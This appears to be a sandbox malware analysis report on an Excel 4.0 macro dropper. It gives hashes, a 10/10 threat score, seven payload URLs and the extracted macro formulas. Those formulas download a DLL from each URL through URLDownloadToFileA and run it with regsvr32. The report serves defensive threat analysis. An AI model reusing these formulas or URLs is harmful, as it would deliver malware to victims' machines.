General

  • Target

    100af46515041e4e0e17e773dfa609ecc4b028e47d1d435a71962fcd346d7e9f

  • Size

    20KB

  • Sample

    241120-z242eataka

  • MD5

    08c636c1625fbfd35b80b4177be7aac3

  • SHA1

    c75762ab872b8fe19d3284552bbd95bd0f68f500

  • SHA256

    100af46515041e4e0e17e773dfa609ecc4b028e47d1d435a71962fcd346d7e9f

  • SHA512

    58d9fb2db8037b1d63c6f05c11ae7d790cceb515fa1a4b7cf4ba06c9b5335243ef65e2cd267478a04c4ee83ffff7b5415f00af78b950de6aec6f01d6a044aa4d

  • SSDEEP

    384:iVb1GNjxKo4CGzPd6ZIwISKb5CzgObff9kC+xbX7ZnR:KINco4FLhnCBn9kC+xbLv

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://avirtual.com.ar/portfolio_low/LJtA7G2nnfwBAYE/

http://ard-paya.ir/cgi-bin/ddiue5yX5k28KC33EKw/

http://ascendmedicalsupplies.co.ke/FUTH99YV/faflDNXWq0bPv/

http://aslar.dk/lj/AFAQXrxdyafuA3kn/

https://assf.com.ng/2021/coY6141cNQXQYGrob4o/

http://barth1.dk/_vti_cnf/AEyc6G/

https://www.baligrod.pl/wp-admin/QDSXoxha21C55/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://avirtual.com.ar/portfolio_low/LJtA7G2nnfwBAYE/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ard-paya.ir/cgi-bin/ddiue5yX5k28KC33EKw/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ascendmedicalsupplies.co.ke/FUTH99YV/faflDNXWq0bPv/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aslar.dk/lj/AFAQXrxdyafuA3kn/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://assf.com.ng/2021/coY6141cNQXQYGrob4o/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://barth1.dk/_vti_cnf/AEyc6G/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.baligrod.pl/wp-admin/QDSXoxha21C55/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://avirtual.com.ar/portfolio_low/LJtA7G2nnfwBAYE/

xlm40.dropper

http://ard-paya.ir/cgi-bin/ddiue5yX5k28KC33EKw/

xlm40.dropper

http://ascendmedicalsupplies.co.ke/FUTH99YV/faflDNXWq0bPv/

Targets

    • Target

      100af46515041e4e0e17e773dfa609ecc4b028e47d1d435a71962fcd346d7e9f

    • Size

      20KB

    • MD5

      08c636c1625fbfd35b80b4177be7aac3

    • SHA1

      c75762ab872b8fe19d3284552bbd95bd0f68f500

    • SHA256

      100af46515041e4e0e17e773dfa609ecc4b028e47d1d435a71962fcd346d7e9f

    • SHA512

      58d9fb2db8037b1d63c6f05c11ae7d790cceb515fa1a4b7cf4ba06c9b5335243ef65e2cd267478a04c4ee83ffff7b5415f00af78b950de6aec6f01d6a044aa4d

    • SSDEEP

      384:iVb1GNjxKo4CGzPd6ZIwISKb5CzgObff9kC+xbX7ZnR:KINco4FLhnCBn9kC+xbLv

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks